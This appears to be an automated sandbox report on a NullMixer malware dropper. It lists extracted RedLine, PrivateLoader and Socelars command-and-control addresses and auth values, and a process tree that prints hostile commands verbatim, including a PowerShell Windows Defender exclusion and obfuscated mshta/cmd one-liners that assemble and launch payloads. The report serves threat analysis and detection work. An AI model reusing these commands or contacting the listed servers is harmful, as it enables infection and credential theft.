Analysis
- max time kernel
7s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
07/11/2024, 03:58
General
- Target setup_installer.exe
- Size 6.7MB
- Sample241107-ejgsyaxmek
- SHA256 8da322eda4058e49af97ffb0e11386d5c1814b9cda04b66ff57be1077e5c2821
Malware Config
Extracted
-
socelars
-
http://www.iyiqian.com/
-
http://www.hbgents.top/
-
http://www.rsnzhy.com/
-
http://www.znsjis.top/
Extracted
-
privateloader
-
http://45.133.1.107/server.txt
-
pastebin.com/raw/A7dSG1te
-
http://wfsdragon.ru/api/setStats.php
-
51.178.186.149
Extracted
-
redline
-
she
-
135.181.129.119:4805
-
auth_value
b69102cdbd4afe2d3159f88fb6dac731
Extracted
-
nullmixer
-
http://hsiens.xyz/
Extracted
-
redline
-
ANI
-
194.104.136.5:46013
-
auth_value
9491a1c5e11eb6097e68a4fa8627fda8
Extracted
-
redline
-
media14
-
91.121.67.60:2151
-
auth_value
e37d5065561884bb54c8ed1baa6de446
Signatures
- Detect Fabookie payload 1 IoCs
- Fabookie
Fabookie is facebook account info stealer.
- Fabookie family
- NullMixer
NullMixer is a malware dropper leading to an infection chain of a wide variety of malware families.
- Nullmixer family
- PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
- Privateloader family
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 4 IoCs
- Redline family
- SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
- SectopRAT payload 4 IoCs
- Sectoprat family
- Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
- Socelars family
- Socelars payload 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- ASPack v2.12-2.42 3 IoCs
Detects executables packed with ASPack v2.12-2.42
- Checks computer location settings 2 TTPs 16 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 20 IoCs
- Loads dropped DLL 6 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 7 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
- Suspicious use of SetThreadContext 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 3 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 63 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Kills process with taskkill 4 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 40 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\setup_install.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu1835842b2bb66.exe3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\Thu1835842b2bb66.exeThu1835842b2bb66.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Checks SCSI registry key(s)
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4340 -s 3605⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu18c692e04d0.exe3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\Thu18c692e04d0.exeThu18c692e04d0.exe4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\Thu18c692e04d0.exeC:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\Thu18c692e04d0.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu184247fde9e069.exe3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\Thu184247fde9e069.exeThu184247fde9e069.exe4⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCRipt: clOse ( cREateoBjecT ( "WScriPT.ShELl"). rUN ( "CMd /r CoPY /y ""C:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\Thu184247fde9e069.exe"" ..\bMVIICo2gJTs.ExE && sTaRt ..\bMvIIco2GJTS.eXe /pQijdGx6FJez2xK & if """" == """" for %H in ( ""C:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\Thu184247fde9e069.exe"" ) do taskkill -IM ""%~NXH"" /f " , 0 , truE ))5⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CoPY /y "C:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\Thu184247fde9e069.exe" ..\bMVIICo2gJTs.ExE && sTaRt ..\bMvIIco2GJTS.eXe /pQijdGx6FJez2xK& if "" == "" for %H in ( "C:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\Thu184247fde9e069.exe" ) do taskkill -IM "%~NXH" /f6⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\bMVIICo2gJTs.ExE..\bMvIIco2GJTS.eXe /pQijdGx6FJez2xK7⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCRipt: clOse ( cREateoBjecT ( "WScriPT.ShELl"). rUN ( "CMd /r CoPY /y ""C:\Users\Admin\AppData\Local\Temp\bMVIICo2gJTs.ExE"" ..\bMVIICo2gJTs.ExE && sTaRt ..\bMvIIco2GJTS.eXe /pQijdGx6FJez2xK & if ""/pQijdGx6FJez2xK"" == """" for %H in ( ""C:\Users\Admin\AppData\Local\Temp\bMVIICo2gJTs.ExE"" ) do taskkill -IM ""%~NXH"" /f " , 0 , truE ))8⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CoPY /y "C:\Users\Admin\AppData\Local\Temp\bMVIICo2gJTs.ExE" ..\bMVIICo2gJTs.ExE && sTaRt ..\bMvIIco2GJTS.eXe /pQijdGx6FJez2xK& if "/pQijdGx6FJez2xK" == "" for %H in ( "C:\Users\Admin\AppData\Local\Temp\bMVIICo2gJTs.ExE" ) do taskkill -IM "%~NXH" /f9⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbSCrIPt: CloSE (crEATEoBjeCT ( "WsCrIpt.SHElL"). RUN ("CMd /Q /C ECho | seT /P = ""MZ"" > Y3HWDCd.FS &cOPy /B /Y Y3HWdCD.FS + 6WRFHr.B + 43M9yJ.1XL ..\_12DZk5.uHG & DEL /Q *& STart msiexec.exe /Y ..\_12DZk5.uHG " , 0 ,TRuE ) )8⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /C ECho | seT /P = "MZ" > Y3HWDCd.FS &cOPy /B /Y Y3HWdCD.FS + 6WRFHr.B + 43M9yJ.1XL ..\_12DZk5.uHG & DEL /Q *& STart msiexec.exe /Y ..\_12DZk5.uHG9⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ECho "10⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" seT /P = "MZ" 1>Y3HWDCd.FS"10⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe /Y ..\_12DZk5.uHG10⤵
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -IM "Thu184247fde9e069.exe" /f7⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu1806b4ea83.exe3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\Thu1806b4ea83.exeThu1806b4ea83.exe4⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: CLOsE ( CREAteoBJect ( "WScRiPT.sHeLL" ). RUn ( "C:\Windows\system32\cmd.exe /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\Thu1806b4ea83.exe"" ..\BEDAQQT.ExE &&STArT ..\BeDAqQT.EXE -PMDrnm85Xpfala4uMu02 & iF """" == """" for %I iN ( ""C:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\Thu1806b4ea83.exe"" ) do taskkill -iM ""%~NXI"" -f " , 0 , tRue ) )5⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\Thu1806b4ea83.exe" ..\BEDAQQT.ExE &&STArT ..\BeDAqQT.EXE -PMDrnm85Xpfala4uMu02& iF "" == "" for %I iN ( "C:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\Thu1806b4ea83.exe" ) do taskkill -iM "%~NXI" -f6⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\BEDAQQT.ExE..\BeDAqQT.EXE -PMDrnm85Xpfala4uMu027⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: CLOsE ( CREAteoBJect ( "WScRiPT.sHeLL" ). RUn ( "C:\Windows\system32\cmd.exe /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\BEDAQQT.ExE"" ..\BEDAQQT.ExE &&STArT ..\BeDAqQT.EXE -PMDrnm85Xpfala4uMu02 & iF ""-PMDrnm85Xpfala4uMu02"" == """" for %I iN ( ""C:\Users\Admin\AppData\Local\Temp\BEDAQQT.ExE"" ) do taskkill -iM ""%~NXI"" -f " , 0 , tRue ) )8⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\BEDAQQT.ExE" ..\BEDAQQT.ExE &&STArT ..\BeDAqQT.EXE -PMDrnm85Xpfala4uMu02& iF "-PMDrnm85Xpfala4uMu02" == "" for %I iN ( "C:\Users\Admin\AppData\Local\Temp\BEDAQQT.ExE" ) do taskkill -iM "%~NXI" -f9⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: CLOsE ( CREAteoBJect ( "WScRiPT.sHeLL" ). RUn ( "C:\Windows\system32\cmd.exe /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\BEDAQQT.ExE"" ..\BEDAQQT.ExE &&STArT ..\BeDAqQT.EXE -PMDrnm85Xpfala4uMu02 & iF ""-PMDrnm85Xpfala4uMu02"" == """" for %I iN ( ""C:\Users\Admin\AppData\Local\Temp\BEDAQQT.ExE"" ) do taskkill -iM ""%~NXI"" -f " , 0 , tRue ) )8⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\BEDAQQT.ExE" ..\BEDAQQT.ExE &&STArT ..\BeDAqQT.EXE -PMDrnm85Xpfala4uMu02& iF "-PMDrnm85Xpfala4uMu02" == "" for %I iN ( "C:\Users\Admin\AppData\Local\Temp\BEDAQQT.ExE" ) do taskkill -iM "%~NXI" -f9⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBScripT: clOse ( cREaTeObJECT ( "wscRIPt.SHELL" ). rUN ( "cMd /q /R Echo | SeT /P = ""MZ"" > 9Ym~JXRX.Lb3 & COpY /b /Y 9YM~jXrX.Lb3+ OFnDRVX.8L3 + n7gDJN.Z + S0esI.qY + VOPW5P.PE + qDrS.CQ~ + U78WYSY.oFM +f36Uy3.T ..\bJUC.L & DEl /q *& STArt msiexec.exe /Y ..\bjUC.l " , 0 , trUE ) )8⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /R Echo | SeT /P = "MZ" > 9Ym~JXRX.Lb3 & COpY /b /Y 9YM~jXrX.Lb3+ OFnDRVX.8L3+ n7gDJN.Z + S0esI.qY + VOPW5P.PE + qDrS.CQ~ + U78WYSY.oFM +f36Uy3.T ..\bJUC.L & DEl /q *& STArt msiexec.exe /Y ..\bjUC.l9⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Echo "10⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SeT /P = "MZ" 1>9Ym~JXRX.Lb3"10⤵
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe /Y ..\bjUC.l10⤵
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3132 -s 15408⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -iM "Thu1806b4ea83.exe" -f7⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu1898b55bee.exe3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\Thu1898b55bee.exeThu1898b55bee.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu184046a967b.exe3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\Thu184046a967b.exeThu184046a967b.exe4⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu18e8e75d08821d9b2.exe3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\Thu18e8e75d08821d9b2.exeThu18e8e75d08821d9b2.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"5⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ffba069cc40,0x7ffba069cc4c,0x7ffba069cc586⤵
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu18ffb39abb84a72a.exe3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\Thu18ffb39abb84a72a.exeThu18ffb39abb84a72a.exe4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\Thu18ffb39abb84a72a.exeC:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\Thu18ffb39abb84a72a.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu1839aae86110f811f.exe3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\Thu1839aae86110f811f.exeThu1839aae86110f811f.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu18018c997a3b.exe3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\Thu18018c997a3b.exeThu18018c997a3b.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu18ee9935b8c4428.exe3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\Thu18ee9935b8c4428.exeThu18ee9935b8c4428.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu18915951629f506dd.exe3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\Thu18915951629f506dd.exeThu18915951629f506dd.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu18dfdc06abc.exe3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\Thu18dfdc06abc.exeThu18dfdc06abc.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu18f5ee456ad.exe3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\Thu18f5ee456ad.exeThu18f5ee456ad.exe4⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\Thu18f5ee456ad.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\Thu18f5ee456ad.exe"" ) do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )5⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\Thu18f5ee456ad.exe" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zSC7AAE9E7\Thu18f5ee456ad.exe" ) do taskkill /F -Im "%~NxU"6⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\09xU.exE09xU.EXE -pPtzyIkqLZoCarb5ew7⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" ) do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )8⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE" ) do taskkill /F -Im "%~NxU"9⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " , 0 ,TRuE ) )8⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I9⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" eCHO "10⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"10⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\control.execontrol .\R6f7sE.I10⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I11⤵
-
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I12⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I13⤵
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F -Im "Thu18f5ee456ad.exe"7⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2196 -s 6043⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2196 -ip 21961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 4340 -ip 43401⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 3132 -ip 31321⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵
Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
Thu18c692e04d0.exe.log
20L2vNO.2
7TcIneJp.0
Thu18018c997a3b.exe
Thu1806b4ea83.exe
Thu1835842b2bb66.exe
Thu1839aae86110f811f.exe
Thu184046a967b.exe
Thu184247fde9e069.exe
Thu18915951629f506dd.exe
Thu1898b55bee.exe
Thu18c692e04d0.exe
Thu18dfdc06abc.exe
Thu18e8e75d08821d9b2.exe
Thu18ee9935b8c4428.exe
Thu18f5ee456ad.exe
Thu18ffb39abb84a72a.exe
libcurl.dll
libcurlpp.dll
libgcc_s_dw2-1.dll
libstdc++-6.dll
libwinpthread-1.dll
setup_install.exe
43M9yj.1XL
6Wrfhr.B
9Ym~JXRX.Lb3
OFnDRVX.8l3
n7gDJn.z
_12DZk5.uHG
__PSScriptPolicyTest_rvngiesg.n4e.ps1
gUVIl5.SCh
ykifDQA.1
memory/816-145-0x0000000006A80000-0x0000000006ACC000-memory.dmp
memory/816-143-0x0000000005D10000-0x0000000005E1A000-memory.dmp
memory/816-131-0x00000000063E0000-0x00000000069F8000-memory.dmp
memory/816-144-0x0000000006A00000-0x0000000006A3C000-memory.dmp
memory/816-130-0x0000000003480000-0x00000000034A2000-memory.dmp
memory/816-129-0x00000000033D0000-0x00000000033F4000-memory.dmp
memory/816-246-0x0000000000400000-0x00000000016E0000-memory.dmp
memory/816-142-0x0000000005CF0000-0x0000000005D02000-memory.dmp
memory/1704-122-0x0000000002580000-0x0000000002586000-memory.dmp
memory/1704-109-0x0000000000430000-0x0000000000448000-memory.dmp
memory/1876-98-0x0000000005400000-0x0000000005422000-memory.dmp
memory/1876-75-0x0000000004D70000-0x0000000005398000-memory.dmp
memory/1876-100-0x0000000005640000-0x00000000056A6000-memory.dmp
memory/1876-76-0x0000000073E60000-0x0000000074610000-memory.dmp
memory/1876-91-0x0000000073E60000-0x0000000074610000-memory.dmp
memory/1876-74-0x0000000004700000-0x0000000004736000-memory.dmp
memory/1876-169-0x0000000006C00000-0x0000000006C32000-memory.dmp
memory/1876-182-0x0000000007600000-0x0000000007C7A000-memory.dmp
memory/1876-146-0x0000000005C40000-0x0000000005C5E000-memory.dmp
memory/1876-183-0x0000000006FC0000-0x0000000006FDA000-memory.dmp
memory/1876-215-0x00000000071F0000-0x00000000071FE000-memory.dmp
memory/1876-186-0x0000000007040000-0x000000000704A000-memory.dmp
memory/1876-189-0x0000000007230000-0x00000000072C6000-memory.dmp
memory/1876-73-0x0000000073E6E000-0x0000000073E6F000-memory.dmp
memory/1876-106-0x00000000056B0000-0x0000000005A04000-memory.dmp
memory/1876-216-0x0000000007200000-0x0000000007214000-memory.dmp
memory/1876-217-0x00000000072F0000-0x000000000730A000-memory.dmp
memory/1876-99-0x0000000005520000-0x0000000005586000-memory.dmp
memory/1876-218-0x00000000072E0000-0x00000000072E8000-memory.dmp
memory/1876-223-0x0000000073E60000-0x0000000074610000-memory.dmp
memory/1876-170-0x000000006F630000-0x000000006F67C000-memory.dmp
memory/1876-181-0x0000000006C50000-0x0000000006CF3000-memory.dmp
memory/1876-180-0x0000000006BE0000-0x0000000006BFE000-memory.dmp
memory/1876-190-0x00000000071C0000-0x00000000071D1000-memory.dmp
memory/2004-188-0x0000000000400000-0x0000000000422000-memory.dmp
memory/2072-126-0x0000000000810000-0x0000000000880000-memory.dmp
memory/2196-132-0x0000000000400000-0x000000000051C000-memory.dmp
memory/2196-72-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2196-63-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2196-61-0x0000000064941000-0x000000006494F000-memory.dmp
memory/2196-64-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2196-65-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2196-67-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2196-68-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2196-70-0x000000006FE40000-0x000000006FFC6000-memory.dmp
